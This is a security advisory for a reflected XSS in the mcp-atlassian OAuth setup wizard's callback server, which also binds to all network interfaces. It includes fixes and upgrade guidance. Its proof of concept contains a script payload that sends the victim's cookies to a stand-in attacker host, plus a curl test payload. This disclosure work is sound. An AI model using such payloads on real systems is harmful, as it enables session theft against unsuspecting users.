GHSA-g2r2-3j32-j27x: XSS
Summary
The OAuth 2.0 setup wizard's local callback HTTP server reflects the error query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the error parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (0.0.0.0), making it accessible from the local network rather than just localhost.
Details
The vulnerability exists in the CallbackHandler class in src/mcpatlassian/utils/oauthsetup.py.
Step 1 -- Attacker-controlled input enters unsanitized:
At line 63-66, the error query parameter from the URL is read and interpolated into a message string without HTML escaping:
python src/mcpatlassian/utils/oauthsetup.py:63-66 if "error" in params: callbackerror = params["error"][0] callbackreceived = True self.sendresponse(f"Authorization failed: {callbackerror}")
Step 2 -- Unsanitized input is injected into HTML:
At line 124-125 in sendresponse, the message variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation:
python src/mcpatlassian/utils/oauthsetup.py:124-125 <div class="message {"success" if status == 200 else "error"}"> <p>{message}</p> </div>
Step 3 -- Server listens on all interfaces:
At line 167, the callback server binds to all network interfaces, not just localhost:
python src/mcpatlassian/utils/oauthsetup.py:167 httpd = socketserver.TCPServer(("", port), handler)
This means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine.
Step 4 -- No security headers:
The response at line 84-86 sets Content-type: text/html but does not include Content-Security-Policy, X-Content-Type-Options, or X-XSS-Protection headers:
python src/mcpatlassian/utils/oauthsetup.py:84-86 self.sendresponse(status) self.sendheader("Content-type", "text/html") self.endheaders()
PoC
Prerequisites: The victim must be running the OAuth setup wizard (mcp-atlassian --oauth-setup or runoauthsetup()), which starts the callback server.
Step 1 -- Craft the malicious URL:
http://<victim-ip>:8080/callback?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Step 2 -- Deliver the link to the victim:
Send the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context.
Step 3 -- Verify with a simpler payload:
bash Start the setup wizard (victim's machine) uv run mcp-atlassian --oauth-setup
From attacker's machine (or same network): curl "http://<victim-ip>:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E"
The response HTML will contain: html <p>Authorization failed: <script>alert(document.domain)</script></p>
Impact
- JavaScript execution in the victim's browser context during the OAuth setup flow. - While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because: 1. The server binds to all interfaces, making it accessible from the local network. 2. The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174). 3. During this window, any crafted request triggers the XSS. - An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles code and state parameters on the same endpoint.
Recommended Fix
1. HTML-escape the message before injecting into the template:
python src/mcpatlassian/utils/oauthsetup.py import html
def sendresponse(self, message: str, status: int = 200) -> None: """Send response to the browser.""" self.sendresponse(status) self.sendheader("Content-type", "text/html") self.sendheader("X-Content-Type-Options", "nosniff") self.sendheader("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'") self.endheaders()
# Escape user-controlled content before HTML injection safemessage = html.escape(message)
htmlcontent = f""" ... <div class="message {"success" if status == 200 else "error"}"> <p>{safemessage}</p> </div> ... """
2. Bind the callback server to localhost only:
python src/mcpatlassian/utils/oauthsetup.py:167 Change from: httpd = socketserver.TCPServer(("", port), handler) To: httpd = socketserver.TCPServer(("127.0.0.1", port), handler)
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mcp-atlassianto a version that resolves this vulnerability.Fixed in 0.22.0 - Configuration
HTML-escape the message before injecting it into the HTML template, for example with html.escape(message).
CallbackHandler._send_response HTML escaping of message = enabled - Configuration
Bind the callback server to localhost only instead of all interfaces; use TCPServer(("127.0.0.1", port), handler).
OAuth setup callback server bind address = 127.0.0.1 - Configuration
Add the stated Content-Security-Policy and X-Content-Type-Options headers to the HTML response.
OAuth setup callback HTTP response security headers = Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'; X-Content-Type-Options: nosniff
Event History
Frequently Asked Questions
Who is exposed to this issue?
Users running the OAuth 2.0 setup wizard are exposed because its callback server binds to 0.0.0.0. This makes the callback endpoint reachable from the local network, not only from the same machine.
What must an attacker do to exploit it?
The attacker must cause a victim to open a crafted callback URL while the setup wizard is running. The URL supplies JavaScript through the error query parameter; no attacker privileges are required.